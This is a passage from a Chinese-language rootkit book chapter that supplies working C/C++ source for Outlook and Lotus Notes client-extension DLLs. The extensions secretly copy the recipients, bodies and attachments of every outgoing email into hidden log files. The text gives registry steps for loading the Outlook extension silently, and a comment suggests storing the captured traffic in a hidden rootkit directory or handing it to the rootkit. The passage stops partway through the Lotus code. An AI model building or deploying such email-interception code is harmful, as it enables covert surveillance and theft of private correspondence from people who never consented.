
笫十章:电子邮件的过滤

概述
    通过修改在笫八章中编写的按键记录器可以达到从电子邮件程序里记录信息的目的，而通过修改笫七章编写的网络过滤器可以达到区分底层协议和收集电子邮件信息的目的，如果是在使用Microsoft Exchange Server 或者 Lotus Domino Server 的这些商业环境里，还有一个更好的办法，这些公司的电子邮件解决方案提供了扩展客户端功能的接口，这通常是通过使用指定的动态库文件来实现的，如果要在这种环境下进行电子邮件的过滤，我们要做的仅仅是弄明白在目标邮件系统里提供的扩展接口。

本章包括以下内容：

      Microsoft Outlook 电子邮件的过滤

　　　安装一个Outlook　客户端过滤器

　　　测试 Outlook 客户端扩展

      Lotus Notes 电子邮件的过滤

　　　安装一个　Lotus Notes 电子邮件客户端过滤器

　　　测试　Lotus Notes 客户端扩展

Microsoft Outlook 电子邮件的过滤

关于Microsoft Outlook 的详细描述请查看 http://support.microsoft.com/kb/285999 和http://support.microsoft.com/kb/199343.它们逐步地描述了如何创建和安装Microsoft Outlook电子邮件客户端扩展的过程。知识库文章 285999 中提供的示例是用一个版本比较老的Visual Studio C 编译器编译的，但在新版的编译器里也是可以编译成功的。知识库文章 285999 中描述的安装要求在所有版本的Microsoft Outlook 里都是通用的.

在初始化的时候，Outlook　客户端将加载每一个被注册为客户端的DLL，并且调用其导出的ExchEntryPoint函数。ExchEntryPoint 必须实例化一个基于 IExchExt 的派生类，一旦Outlook初始化了这个派生类，它会为每个客户端扩展事件调用一个Install成员函数，如果从Install成员函数返回S_OK就意味Outlook一个客户端扩展已经做好了处理此事件的准备并且期望获得此事件的通知。

要接进行消息的接收，从ExchEntryPoint派生的类必须要包含一个基于IExchExtMessageEvents的类，当已注册的事件被触发的时候消息就会发到这里.，在IExchExtMessageEvents 接口所需要的八个成员函数中，在本章的这个例子里只使用了OnSubmit、OnSubmitComplere和OnWriteComplete这三个。

本章所讲述的客户端扩展只是包含了八个文件，其中有六个都是框架文件，只有两个文件包含来OUtlook客户端扩展的实现。

这两个文件是：

OutlookExtension.cp －　实现的源代码

OutlookExtension.h　－　实现文件的头文件

六个框架文件是：

EXCHEXT.H　－　客户端扩展所需要的头文件
Stdafx.cpp　－　由Visual Studio 创建的包含stdafx.h的文件
Stdafx.h　－　由Visual　Studio　创建用来定义头和编译选项的

OutlookExtension.dsp　－　Vsual Studio 的工程文件

OutlookExtension.dsw　－　Visual Studio　的工作区文件

Readme.txt　－　Visual Studio创建的用来定义工程结构的描述文件

本章里不会详细去描述这些框架文件。
OutlookExtension.h

OutlookExtension.h定义了Outlook需要的两个客户端扩展类，CMessageEvents 和CClientExtension。这两个类提供了扩展Outlook客户端的接口，CClientExtension类是严格遵守Outlook接口标准的，CMessageEvents类包含了Outlook接口标准和应用程序特定逻辑，文件　OutlookExtension.h还包含了在LogContent用到的文件日志定义。

// Extension Object

// This class must inherit from the IExchExt interface,

// which contains the Install method that Outlook uses to obtain a

// new instance of the Extension Object Class.

// Also, because the IExchExt interface inherits from IUnknown,

// Component Object Model (COM) rules require that this class declare

// and implement the QueryInterface, AddRef and Release methods.

class CClientExtension:public IExchExt

{

public:

 CClientExtension();

 STDMETHODIMP QueryInterface(REFIID riid,void** ppvObj);

 inline STDMETHODIMP_(ULONG) AddRef()

 {

  ++m_referenceCount;

  return m_referenceCount;

 };

 inline STDMETHODIMP_(ULONG) Release()

 {

  ULONG ulCount = --m_referenceCount;

  if (!ulCount)

  {

   delete this;

  }

  return ulCount;

 };

 // This is required by IExchExt

 STDMETHODIMP Install( IExchExtCallback *pmecb, ULONG mcontext, ULONG ulFlags );

private:

 ULONG m_referenceCount;

 CMessageEvents* m_pMessageEvents;

};

// File Managment Definitions

#define OL_LOG_BODY       1

#define OL_LOG_ATTACHMENT 2

#define OL_LOG_ADDRESSES  3

#define OL_LOG_FILE "C:\\OL_LOG"

#define OL_TEMP_LOG_FILE "C:\\OL_TEMP"

#endif

OutlookExtension.cpp
OutlookExtension.cpp 文件OutlookExtension.cpp 包含了所有Outlook客户端扩展的特定实现逻辑(implementation-specific logic )，在这个文件包含了两个函数和两个类。

这两个函数如下:

DllMain － 由操作系统调用。

ExchEntryPoint － 由Outlook在初始化的时候调用。

下面是两个类和它们的成员函数:

CMessageEvents － 基于Outlook扩展类IexchExt

QueryInterface － COM特有的

AddRef － COM特有的

Release － COM特有的

OnRead － 消息接口,没用到

OnReadComplete － 消息接口,没用到

OnWrite － 消息接口，没用到

OnWriteComplete － 包含骄兵电子邮件信息的消息

OnCheckNames － 消息接口，没用到

OnCheckNamesComplete － 消息接口，没用到

OnSubmit － 用来保持提交状态的跟踪

OnSubmitComplete － 用来保持提交状态的跟踪

LogContent － 把电子邮件内容写入到磁盘

LogBody － 提取消息的正文

LogAttachments － 提取消息的附件

DeleteMessage － 删除一个邮件，没用到

CClientExtension － 基于Outlook扩展类IExchExtMessageEvents 

QueryInterface － COM特有的

AddRef － COM特有的

Release － COM特有的

Install － 由Outlook调用来确定是否是我们感兴趣的事件

// OutlookExtension

// Copyright Ric Vieler, 2006

// Filter Outlook email

#include "stdafx.h"

#include <STDIO.h>

#include <WINDOWS.H>

#include <COMMCTRL.H>

#define MIDL_PASS

#include <MAPIX.H>

#include <MAPIUTIL.H>

#include <MAPIFORM.H>

#include <INITGUID.h>

#include "EXCHEXT.H"

#include "OutlookExtension.h"

// Microsoft Exchange Client Extension entry point

extern "C" _declspec(dllexport) LPEXCHEXT CALLBACK ExchEntryPoint(void);

// DLL entry point

BOOL APIENTRY DllMain( HANDLE hModule,

 DWORD  ul_reason_for_call,

 LPVOID lpReserved )

{

    return TRUE;

}

// Must provide pointer to CClientExtension for construction

CMessageEvents::CMessageEvents (LPUNKNOWN pParentInterface)

{

 m_pExchExt = pParentInterface;

 m_submittingMessage = false;

 m_referenceCount = 0;

};

void CMessageEvents::LogContent( char* content, int contentType )

{

 // Put content into one big file for this example

 char buffer[ MAX_PATH ];

 size_t contentLength;

 FILE* sourceFile;

 FILE* destinationFile;

 // open the destination file - LN_LOG_FILE

 strcpy( buffer, OL_LOG_FILE );

 if( (destinationFile = fopen( buffer, "a+b" )) != NULL )

 {

  if( contentType == OL_LOG_ATTACHMENT )

  {

   // content is a filename

   if( (sourceFile = fopen( content, "r" )) != NULL )

   {

    // write header

    fwrite( "ATTACHMENT:\n", sizeof(char), 12, destinationFile );

    // write attachment

    do

    {

     contentLength = fread( buffer, sizeof(char), MAX_PATH, sourceFile );

     if( contentLength )

     {

      fwrite( buffer, sizeof(char), contentLength, destinationFile );

     }

    } while( contentLength == MAX_PATH );

    // write footer

    fwrite( "\n", sizeof( char ), 1, destinationFile );

    fclose( sourceFile );

   }

  }

  else

  {

   // content is a string

   // write header

   if( contentType == OL_LOG_BODY )

   {

    fwrite( "BODY:\n", sizeof(char), 6, destinationFile );

   }

   else

   {

    fwrite( "DESTINATION(S):\n", sizeof(char), 16, destinationFile );

   }

   // write data

   contentLength = strlen( content );

   fwrite( content, sizeof( char ), contentLength, destinationFile );

   // write footer

   fwrite( "\n\n", sizeof( char ), 2, destinationFile );

  }

  fclose( destinationFile );

 }

}

// Log message body

void CMessageEvents::LogBody( LPMESSAGE pMessage )

{

 char* bodybuf = 0;

 unsigned int bodysize = 0;

 IStream* stream;

 HRESULT hr;

 // Get body of message as a stream

 hr = pMessage->OpenProperty(PR_BODY,

  &IID_IStream,

  STGM_DIRECT | STGM_READ,

  0,

  (IUnknown**)&stream );

 if ( !FAILED(hr) )

 {

  // Get size of stream

  STATSTG status = { 0 };

  hr = stream->Stat( &status, STATFLAG_NONAME );

  if ( !FAILED(hr) )

  {

   // Read the stream into a local buffer

   bodysize = status.cbSize.LowPart;

   bodybuf = new char[ bodysize + 1 ];

   ULONG count;

   hr = stream->Read( bodybuf, bodysize, &count );

   if ( !FAILED(hr) )

   {

    if ( count < bodysize)

     bodysize = count;

    bodybuf[bodysize] = 0;

    stream->Release();

    // Log the content

    LogContent( bodybuf, OL_LOG_BODY );

   }

  }

 }

}

// Log message attachments

void CMessageEvents::LogAttachments( LPMESSAGE pMessage )

{

 HRESULT hr;

 LPMAPITABLE pAttachmentTable;

 LPATTACH pAttachment;

 // Get the attachment table

 hr = pMessage->GetAttachmentTable( MAPI_UNICODE, &pAttachmentTable );

 if ( !FAILED(hr) )

 {

  SizedSPropTagArray(1,columns) = { 1, PR_ATTACH_NUM };

  SRowSet* pRowSet;

  hr = HrQueryAllRows( pAttachmentTable,

   (SPropTagArray*)&columns,

   NULL, NULL, 0, &pRowSet);

  if ( !FAILED(hr) )

  {

   for (unsigned int row = 0; row < pRowSet->cRows; row++ )

   {

    if (pRowSet->aRow[row].lpProps[0].ulPropTag == PR_ATTACH_NUM )

    {

     // Open the attachment

     hr = pMessage->OpenAttach(pRowSet->aRow[row].lpProps[0].Value.ul,

      NULL, MAPI_BEST_ACCESS, &pAttachment );

     if ( !FAILED(hr) )

     {

      // Get the attachment type

      ULONG count;

      SPropValue* property = 0;

      SizedSPropTagArray(1, tag) = { 1, PR_ATTACH_METHOD };

      pAttachment->GetProps((SPropTagArray*)&tag,

       MAPI_UNICODE,

       &count,

       &property);

      // Process attachment based on attachment type

      if( (property[0].ulPropTag) &&

       (property[0].Value.ul == ATTACH_BY_REF_ONLY ||

        property[0].Value.ul == ATTACH_BY_REF_RESOLVE ||

        property[0].Value.ul == ATTACH_BY_REFERENCE ))

      {

       // Attachment is by filename

       ULONG count;

       SPropValue* path = 0;

       SizedSPropTagArray(2, tag) =

        { 2, { PR_ATTACH_LONG_PATHNAME,PR_ATTACH_PATHNAME } };

       pAttachment->GetProps((SPropTagArray*)&tag,

        MAPI_UNICODE,

        &count,

        &path);

       if( path[0].ulPropTag == PR_ATTACH_LONG_PATHNAME )

       {

        LogContent( path[0].Value.LPSZ, OL_LOG_ATTACHMENT );

       }

       else if( path[1].ulPropTag == PR_ATTACH_PATHNAME )

       {

        LogContent( path[1].Value.LPSZ, OL_LOG_ATTACHMENT );

       }

      }

      else if(property[0].ulPropTag && property[0].Value.ul == ATTACH_BY_VALUE)

      {

       // Attachment is in memory

       // Convert it to a temp file

       char tempFile[20];

       strcpy( tempFile, OL_TEMP_LOG_FILE );

       STATSTG StatInfo;

       LPSTREAM pSourceStream = NULL;

       LPSTREAM pDestinationStream = NULL;

       hr = pAttachment->OpenProperty(PR_ATTACH_DATA_BIN,

        (LPIID)&IID_IStream, 0, MAPI_MODIFY,  (LPUNKNOWN*)&pSourceStream);

       if ( !FAILED(hr) )

       {

        hr = OpenStreamOnFile(

         MAPIAllocateBuffer,

         MAPIFreeBuffer,

         STGM_CREATE | STGM_READWRITE | STGM_SHARE_DENY_NONE |

STGM_DELETEONRELEASE,

         tempFile,

         NULL,

         &pDestinationStream);

        if ( !FAILED(hr) )

        {

         // Get size of Source Stream

         pSourceStream->Stat(&StatInfo, STATFLAG_NONAME);

         // Write the stream to the temp file

         hr = pSourceStream->CopyTo(pDestinationStream,

          StatInfo.cbSize, NULL, NULL);

         if ( !FAILED(hr) )

         {

          // Commit changes to new stream

          pSourceStream->Commit(0);

          // Log the attachment

          LogContent( tempFile, OL_LOG_ATTACHMENT );

          // Release the streams

          // This should also delete the temp file

          pDestinationStream->Release();

          pSourceStream->Release();

         }

        }

       }

      }

      // Release the attachment

      pAttachment->Release();

     }

    }

   }

   FreeProws( pRowSet );

  }

  pAttachmentTable->Release();

 }

}

// Delete a MAPI message

// Called by CMessageEvents::OnWriteComplete before returning S_OK

void CMessageEvents::DeleteMessage( LPMESSAGE pMessage )

{

 HRESULT hr;

 // Remove the recipients

 LPMAPITABLE pRecipientTable;

 hr = pMessage->GetRecipientTable( MAPI_UNICODE, &pRecipientTable );

 if ( !FAILED(hr) )

 {

  // Need PR_ROWID for ModifyRecipients

  SizedSPropTagArray(1,columns) = { 1, PR_ROWID };

  SRowSet* pRowSet;

  hr = HrQueryAllRows( pRecipientTable,

   (SPropTagArray*)&columns,

   NULL, NULL, 0, &pRowSet);

  if ( !FAILED(hr) )

  {

   pMessage->ModifyRecipients( MODRECIP_REMOVE, (ADRLIST*)pRowSet );

   FreeProws( pRowSet );

  }

  pRecipientTable->Release();

 }

 // Set PR_DELETE_AFTER_SUBMIT

 ULONG count;

 SPropValue* property = 0;

 SizedSPropTagArray(1, tag) = { 1, PR_DELETE_AFTER_SUBMIT };

 if( pMessage->GetProps((SPropTagArray*)&tag,

  NULL,

  &count,

  &property) == S_OK )

 {

  if( property[0].ulPropTag == PR_DELETE_AFTER_SUBMIT )

  {

   property[0].Value.b = TRUE;

   pMessage->SetProps( 1, property, NULL );

  }

 }

}

///////////////////////////////////////////////////////////////////////////////

//    CMessageEvents::QueryInterface()

//

//    Parameters

//    riid   -- Interface ID.

//    ppvObj -- address of interface object pointer.

//

//    Purpose

//    Return interface object upon request

//

//    Return Value - none

//

//    Comments

//    Currently the Exchange client does not call QueryInterface from any object

//    except for IExchExt.  This is implemented in case features are added to

//    Exchange to require QueryInterface from any object.  Also, as a "rule of

//    OLE COM" this is the proper implementation of QueryInterface.

//

STDMETHODIMP CMessageEvents::QueryInterface(REFIID riid, LPVOID FAR * ppvObj)

{

 *ppvObj = NULL;

 if (riid == IID_IExchExtMessageEvents)

 {

  *ppvObj = (LPVOID)this;

  // Increase usage count of this object

  AddRef();

  return S_OK;

 }

 if (riid == IID_IUnknown)

 {

  *ppvObj = (LPVOID)m_pExchExt;  // return parent interface

  m_pExchExt->AddRef();

  return S_OK;

 }

 return E_NOINTERFACE;

}

///////////////////////////////////////////////////////////////////////////////

//    CMessageEvents::OnRead()

//

//    Parameters

//    lpeecb -- pointer to IExchExtCallback interface

//

//    Purpose

//    To extend or inhibit Exchange when displaying the send or read note form.

//

//    Return Value

//    S_OK Microsoft Exchange will consider the task handled

//    S_FALSE signals Exchange to continue calling extensions

//    Other MAPI Code errors will abort the send or read note form.

//

//

STDMETHODIMP CMessageEvents::OnRead(LPEXCHEXTCALLBACK lpeecb)

{

 return S_FALSE;

}

///////////////////////////////////////////////////////////////////////////////

//    CMessageEvents::OnReadComplete()

//

//    Parameters

//    lpeecb -- pointer to IExchExtCallback interface

//

//    Purpose

//    To do processing after message has been read.

//

//    Return Value

//    S_OK Microsoft Exchange will consider the task handled

//    S_FALSE signals Exchange to continue calling extensions

//    Some MAPI Code error indicates a problem and will not display the send

//    or read note form.

//

//    Comments.

//    If an error code, such as MAPI_E_CALL_FAILED, is returned, Exchange will

//    call OnReadComplete again with the ulFlags parameter set to

//    EEME_COMPLETE_FAILED.  Returning the error code again will cause Exchange

//    to not display the UI.

//

STDMETHODIMP CMessageEvents::OnReadComplete(LPEXCHEXTCALLBACK lpeecb, ULONG

ulFlags)

{

 return S_FALSE;

}

///////////////////////////////////////////////////////////////////////////////

//    CMessageEvents::OnWrite()

//

//    Parameters

//    lpeecb -- pointer to IExchExtCallback interface

//

//    Purpose

//    This method is called when a message is about to be written.  The message

//    only has default properties at this point.  It does not contain

//    properties which the user has added by way of recipients, subject,

//    message text, or attachments.

//    This method is called when the user Sends or Saves a message

//

//    Return Value

//    S_OK Microsoft Exchange will consider the task handled

//    S_FALSE signals Exchange to continue calling extensions

//

//

STDMETHODIMP CMessageEvents::OnWrite(LPEXCHEXTCALLBACK lpeecb)

{

 return S_FALSE;

}

///////////////////////////////////////////////////////////////////////////////

//    CMessageEvents::OnWriteComplete()

//

//    Parameters

//    lpeecb -- pointer to IExchExtCallback interface

//

//    Purpose

//    This method is called after the data (recipients, attachments, body,

//    subject, etc.) has been written to the message.

//

//    Return Value

//    S_OK Microsoft Exchange will consider the task handled

//    (you must also call DeleteMessage( pMessage ) if returning S_OK)

//    S_FALSE signals Exchange to continue calling extensions

//

STDMETHODIMP CMessageEvents::OnWriteComplete(LPEXCHEXTCALLBACK lpeecb, ULONG

ulFlags)

{

 // Only check if writing for the purpose of submitting

 if( m_submittingMessage == false )

  return S_FALSE;

 // This is the only event of interest

 HRESULT hr;

 LPMESSAGE pMessage = NULL;

 LPMDB pMDB = NULL;

 // Get the message

 hr = lpeecb->GetObject(&pMDB, (LPMAPIPROP*)&pMessage);

 if ( !FAILED(hr) )

 {

  // Get the recipients

  LPMAPITABLE pRecipientTable;

  hr = pMessage->GetRecipientTable( MAPI_UNICODE, &pRecipientTable );

  if ( !FAILED(hr) )

  {

   SizedSPropTagArray(1,columns) = { 1, PR_EMAIL_ADDRESS };

   SRowSet* pRowSet;

   hr = HrQueryAllRows( pRecipientTable,

    (SPropTagArray*)&columns,

    NULL, NULL, 0, &pRowSet);

   if ( !FAILED(hr) )

   {

    if ( pRowSet->cRows > 0 )

    {

     int stringLength;

     int addressCount = 0;

     unsigned int arraySize = 0;

     char** addresses = new char* [pRowSet->cRows - 1];

     for (unsigned int row = 0; row < pRowSet->cRows; row++ )

     {

      // Gather the addresses

      stringLength = strlen( pRowSet->aRow[row].lpProps[0].Value.LPSZ ) + 1;

      addresses[addressCount] = new char[stringLength];

      strcpy( addresses[addressCount], pRowSet->aRow[row].lpProps[0].Value.LPSZ );

      arraySize += stringLength;

      addressCount++;

     }

     // Format and log addresses

     if ( arraySize )

     {

      unsigned int arrayIndex = 0;

      char* formattedArray = new char[arraySize];

      if ( formattedArray )

      {

       while( addressCount-- )

       {

        // reformat addresses into one big buffer

        strcpy( formattedArray + arrayIndex, addresses[addressCount] );

        arrayIndex += strlen( addresses[addressCount] );

        *(formattedArray + arrayIndex) = ',';

        arrayIndex++;

        // free addresses array

        delete addresses[addressCount];

       }

       arrayIndex--;

       *(formattedArray + arrayIndex) = 0;

       // Log message addresses

       LogContent( formattedArray, OL_LOG_ADDRESSES );

      delete formattedArray;

      }

     }

    }

    FreeProws( pRowSet );

   }

   pRecipientTable->Release();

   // Log message body

   LogBody( pMessage );

   // Log message attachments

   LogAttachments( pMessage );

  }

  // Release resources

  UlRelease( pMDB );

  UlRelease( pMessage );

 }

 return S_FALSE;

}

///////////////////////////////////////////////////////////////////////////////

//    CMessageEvents::OnSubmit()

//

//    Parameters

//    lpeecb -- pointer to IExchExtCallback interface

//

//    Purpose

//    Called just before message data is written to MAPI.

//

//    Return Value

//    S_OK Microsoft Exchange will consider the task handled

//    S_FALSE signals Exchange to continue calling extensions

//

STDMETHODIMP CMessageEvents::OnSubmit(LPEXCHEXTCALLBACK lpeecb)

{

 m_submittingMessage = true;

 return S_FALSE;

}

///////////////////////////////////////////////////////////////////////////////

//    CMessageEvents::OnSubmitComplete()

//

//    Parameters

//    lpeecb -- pointer to IExchExtCallback interface

//

//    Purpose

//    Called after message has been submitted to MAPI.

//

//    Return Value - none

//

STDMETHODIMP_ (VOID) CMessageEvents::OnSubmitComplete(LPEXCHEXTCALLBACK lpeecb,

ULONG ulFlags)

{

 m_submittingMessage = false;

}

///////////////////////////////////////////////////////////////////////////////

//    CMessageEvents::OnCheckNames()

//

//    Parameters

//    lpeecb -- pointer to IExchExtCallback interface

//

//    Purpose

//    Called when user selects the Check Names button and just before message

//    is submitted to MAPI.

//

//    Return Value

//    S_OK Microsoft Exchange will consider the task handled

//    S_FALSE signals Exchange to continue calling extensions

//

STDMETHODIMP CMessageEvents::OnCheckNames(LPEXCHEXTCALLBACK lpeecb)

{

 return S_FALSE;

}

///////////////////////////////////////////////////////////////////////////////

//    CMessageEvents::OnCheckNamesComplete()

//

//    Parameters

//    lpeecb -- pointer to IExchExtCallback interface

//

//    Purpose

//    Called after exchange has completed resolving names in the message

//    recipients table.

//

//    Return Value

//    S_OK Microsoft Exchange will consider the task handled

//    S_FALSE signals Exchange to continue calling extensions

//

STDMETHODIMP CMessageEvents::OnCheckNamesComplete(LPEXCHEXTCALLBACK lpeecb, ULONG

ulFlags)

{

 return S_FALSE;

}

///////////////////////////////////////////////////////////////////////////////

CClientExtension::CClientExtension()

{

 m_referenceCount = 0;

 m_pMessageEvents = new CMessageEvents(this);

};

STDMETHODIMP CClientExtension::QueryInterface(REFIID riid,void** ppvObj)

{

 HRESULT hResult = S_OK;

 *ppvObj = NULL;

 if (( IID_IUnknown == riid) || ( IID_IExchExt == riid) )

 {

  *ppvObj = (LPUNKNOWN)this;

 }

 else if (IID_IExchExtMessageEvents == riid)

 {

  *ppvObj = (LPUNKNOWN) m_pMessageEvents;

 }

 else

  hResult = E_NOINTERFACE;

 if (NULL != *ppvObj)

  ((LPUNKNOWN)*ppvObj)->AddRef();

 return hResult;

}

///////////////////////////////////////////////////////////////////////////////

//    CClientExtension::Install()

//

//    Parameters

//    peecb     -- pointer to Exchange Extension callback function

//    context -- context code at time of being called.

//

//    Purpose

//    Called once for each new context that is entered.

//

//    Return Value

//    S_OK - the installation succeeded for the context

//    S_FALSE - deny the installation fo the extension for the context

//

STDMETHODIMP CClientExtension::Install( IExchExtCallback *pmecb, ULONG context,

ULONG ulFlags )

{

 ULONG version;

 // Make sure this is the right major version

 pmecb->GetVersion(&version, EECBGV_GETBUILDVERSION);

 if (EECBGV_BUILDVERSION_MAJOR !=

  (version & EECBGV_BUILDVERSION_MAJOR_MASK))

  return S_FALSE;

 switch (context)

 {

  case EECONTEXT_SENDNOTEMESSAGE:

  case EECONTEXT_SENDPOSTMESSAGE:

  case EECONTEXT_SENDRESENDMESSAGE:

   return S_OK;

 }

 return S_FALSE;

}

// The sole purpose of ExchEntryPoint is to return a new instance

// of the Extension Interface to Outlook or Exchange.

LPEXCHEXT CALLBACK ExchEntryPoint()

{

 return new CClientExtension;

}

这个Outlook客户端工程原来是用Visual Studio 6.0写的，所以当你使用一个比较新的开发环境来打开这个工程时，可能会询问你是否要转换OutlookExtension.dsw为新版本的工程文件，你可能还会看到有一些警告信息，特别是不推荐使用的strcpy和fopen函数在用VIsual Studio 8.0编译OutlookExtension.cpp 时会产生一些警告，在使用一些比较新的开发环境的时候，因为这些警告可以安全地忽略掉，而工程文件会自动转换，所以我们并没有为了适应新的开发环境而去修改这个项目。

安装一个Outlook客户端过滤器
Outlook使用注册表项来控制客户端扩展附件。在初始化期间，Outlook会检查些扩展注册表项的一个特殊的值，如果找到了这个值，Outlook会重新初始化客户端扩展表来附加扩展项下指定的所有扩展。

Outlook扩展的注册表项是HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Exchange\ Client\Extensions。

用来重新初始化客户端扩展表的特殊值是 Outlook Setup Extension (这是一个字符串值)

Outlook Setup Extension值的内容必须如下：

4.0;Outxxx.dll;7;000000000000000;0000000000;OutXXX

如果Outlook在扩展项里找到了这个值就会重新注册扩展项下指定的所有扩展。

客户端扩展注册表项必须指定成如下格式：

Value = 扩展的名称(这是一个字符串值)

Data = 4.0; 库文件的位置; 1;00100100001000;0001000

我们这里可以像下面这样指定：

MyClientExtension = 4.0;C:\OutlookExtension.dll;1;00100100001000;0001000

在重新注册了扩展项下指定的所有扩展后，Outlook会删除Outlook Setup Extension这个特殊的字符串值，然后会使用一个内部的客户端扩展表，直到一个新的特殊的扩展字符串值存入扩展项里。

    如果没有这个特殊的扩展字符串值Outlook是不会注册一个新的客户端扩展的，所以你不能简单地添加一个定义了你的客户端扩展的字符串值。
测试Outlook客户端扩展

    一旦OutlookExtension.dll 已经复制到了C盘根目录并且注册表已经声明了这个库为一个客户端扩展，你就可以运行Outlook来开始发送一封电子邮件了，每封电子邮件消息都会在C:\OL_LOG里产生一些条目信息，这是一个记录的例子：

DESTINATION(S):

/O=MSOFT/OU=FIRST ADMINISTRATIVE GROUP/CN=RECIPIENTS/CN=Jdoe

BODY:

test1

DESTINATION(S):

y@z.com,x@y.com,jdoe@yahoo.com,/O= MSOFT/OU=FIRST ADMINISTRATIVE

GROUP/CN=RECIPIENTS/CN=Jdoe

BODY:

test 2

this test contains 4 recipients

1 local address and 3 Internet addresses

DESTINATION(S):

/O= MSOFT/OU=FIRST ADMINISTRATIVE GROUP/CN=RECIPIENTS/CN=Jdoe

BODY:

test 3

this test contains 2 attachments

ATTACHMENT:

this is the text of another attachment

ATTACHMENT:

this is the text of an attachment

Lotus Notes 电子邮件的过滤
在初始化期间，Lotus Notes 会加载每个客户端扩展DLL并调用其导出函数MainEntryPoint。在MainEntryPoint里，一个Lotus Notes扩展可以通过注册来接收100多个事件的通知，这些事件都定义在Lotus Notes的C言语API（应用程序接口）文件extmgr.h里。

本章中所描述的客户端扩展主要用来接收Lotus Notes发送的每封电子邮件的预发送通知消息。事件注册必须提供在事件被触发时被调用的导出函数的入口点。实际上的事件是EM_MAILSENDNOTE + EM_REG_BEFORE。实际上被注册的用来当这个事件产生时被调用的函数是OnSendMail。

这个客户端扩展有5个实现文件和46个Lotus文件。

5个实现文件是如下:

LotusExtension.c － 实现的源代码
LotusExtension.h － 实现文件的头文件

LotusExtension.def － DLL导出函数定义文件

LotusExtension.mak － 工程生成文件

Readme.txt － 生成和操作说明

下面是16个Lotus文件:

lib\notes.lib 

include\darray.h 

include\extmgr.h 

include\global.h 

include\globerr.h 

include\mail.h 

include\mailserv.h 

include\misc.h 

include\nif.h 

include\nls.h 

include\nsfdata.h 

include\nsferror.h 

include\nsfnote.h 

include\nsfstr.h 

include\pool.h 

include\stdnames.h 

本章里不详细讲述Lotus里提供的文件，但是我还是建议大家看下extmgr.h这个文件，这个文件会告诉你在Lotus Notes 客户端扩展里可以包含的功能。

上面列出的Lotus文件只代表了Lotus Notes C API提供的文件的一个最小子集。完整的API包含了另外一些库文件且包含有多种目标环境。你可以从下面这个链接下载这个API：

www-128.ibm.com/developerworks/lotus/downloads/toolkits.html

    请确保你下载的是Windows XP和2000的API，在下载前你必须要先进行注册，所以要准备好你的个人信息。

LotusExtension.h

// Copyright Ric Vieler, 2006

// Support header for LotusExtension.c

#ifndef _LOTUS_FILTER_H_

#define _LOTUS_FILTER_H_

// LOTUS C API FOR DOMINO AND NOTES HEADER FILES

#include <nsferr.h>

#include <extmgr.h>

#define DLL_EXPORT

// Data types for LogContent

#define BODY_FILENAME_CONTENT       1

#define ATTACHMENT_FILENAME_CONTENT 2

#define ADDRESS_STRING_CONTENT      3

/* File Managment Definitions */

#define LN_BODY "C:\\LN_Body"

#define LN_ATTACHMENT "C:\\LN_Attachment"

#define LN_LOG_FILE "C:\\LN_LOG"

#endif

LotusExtension.c

LotusExtension.c文件提供了DLL文件的实现代码。这个文件里有10个函数，这个文件里的函数是以相反的顺序出现的，这样不用在头文件里声明就能让编译器分析出这此函数的原型，所以从文件下面往上读这个文件能够更容易理解一点。

DllMain － 在库文件加载的时候系统由系统来调用

OnSendMail － 这是在每封电子邮件发送出去前被调用的函数

MainEntryPoint － 这是在加载了库文件后由Lotus Notes调用的函数

DeregisterEntry － 这个函数用来从预发送事件列表里移除OnSendMail

RegisterEntry － 这个函数把OnSendMail插入到预发送事件列表里

Saverecipients － 用来分析接收到的消息然后把结果发磅到LogContent

ParseRecipientList － 这个函数可以用来加入到多个目标列表里

SaveAttachments － 这个函数会把附件发送到LogContent

SaveBody － 这个函数会把电子邮件的正文发送到 LogContect

LogContent － 这个函数用来记录一封电子邮件的正文、附件和目的地址

// LotusExtension

// Copyright Ric Vieler, 2006

// Filter Lotus Notes email

// Windows header files

#include <stdio.h>

#include <fcntl.h>

// Lotus Notes header files

#include <global.h>

#include <misc.h>

#include <mail.h>

#include <mailserv.h>

// Application specific header file

#include "LotusExtension.h"

// GLOBAL VARIABLES

EMHANDLER filterProcedure;

HEMREGISTRATION hHandler;

WORD recursionId;

// Copy email traffic to a storage directory

// (use RootkitDirectory if it is being hidden)

// or send email traffic to the rootkit.

void LogContent( char* content, int contentType )

{

 // Put content into one big file for this example

 BYTE buffer[ MAX_PATH ];

 size_t contentLength;

 FILE* sourceFile;

 FILE* destinationFile;

 // open the destination file - LN_LOG_FILE

 strcpy( buffer, LN_LOG_FILE );

 if( (destinationFile = fopen( buffer, "a+b" )) != NULL )

 {

  if( contentType == ADDRESS_STRING_CONTENT )

  {

   // content is a string

   // write address header

   fwrite( "DESTINATION(S):\n", sizeof(char), 16, destinationFile );

   // write addresses

   contentLength = strlen( content );

   fwrite( content, sizeof( char ), contentLength, destinationFile );

   // write address footer

   fwrite( "\n\n", sizeof( char ), 2, destinationFile );

  }

  else

  {

   // content is a filename

   if( (sourceFile = fopen( content, "r+b" )) != NULL )

   {

    // write header

    if( contentType == BODY_FILENAME_CONTENT )

     fwrite( "BODY:\n", sizeof(char), 6, destinationFile );

    else

     fwrite( "ATTACHMENT:\n", sizeof(char), 12, destinationFile );

    // write attachment

    do

    {

     contentLength = fread( buffer, sizeof(char), MAX_PATH, sourceFile );

     if( contentLength )

     {

      fwrite( buffer, sizeof(char), contentLength, destinationFile );

     }

    } while( contentLength == MAX_PATH );

    // write footer

    fwrite( "\n", sizeof( char ), 1, destinationFile );

    fclose( sourceFile );

   }

  }

  fclose( destinationFile );

 }

}

void SaveBody( HANDLE hNote )

{

 STATUS errorStatus;

 DWORD primaryFileSize;

 char primaryFile[MAX_PATH];

 // Construct temp file name

 strcpy( primaryFile, LN_BODY );

 // Put the body of the message into temp file.

 errorStatus = MailGetMessageBodyText(hNote,

  NULL,

  "\r\n",

  80,

  TRUE,

  primaryFile,

  &primaryFileSize);

 if ( !errorStatus  && primaryFileSize > 0 )

  LogContent( primaryFile, BODY_FILENAME_CONTENT );

}

void SaveAttachments( HANDLE hNote )

{

 WORD attachment;

 BLOCKID blockID;

 char fileName[MAX_PATH + 1];

 // Construct temp file name

 strcpy( fileName, LN_ATTACHMENT );

 // Open the attachment (if any)

 for (attachment = 0;

  MailGetMessageAttachmentInfo(

   hNote,

   attachment,

   &blockID,

   NULL,

   NULL,

   NULL,

   NULL,

   NULL,

   NULL);

  attachment++ )

 {

  //  extract the attachment

  if( !MailExtractMessageAttachment(hNote, blockID, fileName) )

  {

   // log the attachment

   LogContent( fileName, ATTACHMENT_FILENAME_CONTENT );

  }

 }

}

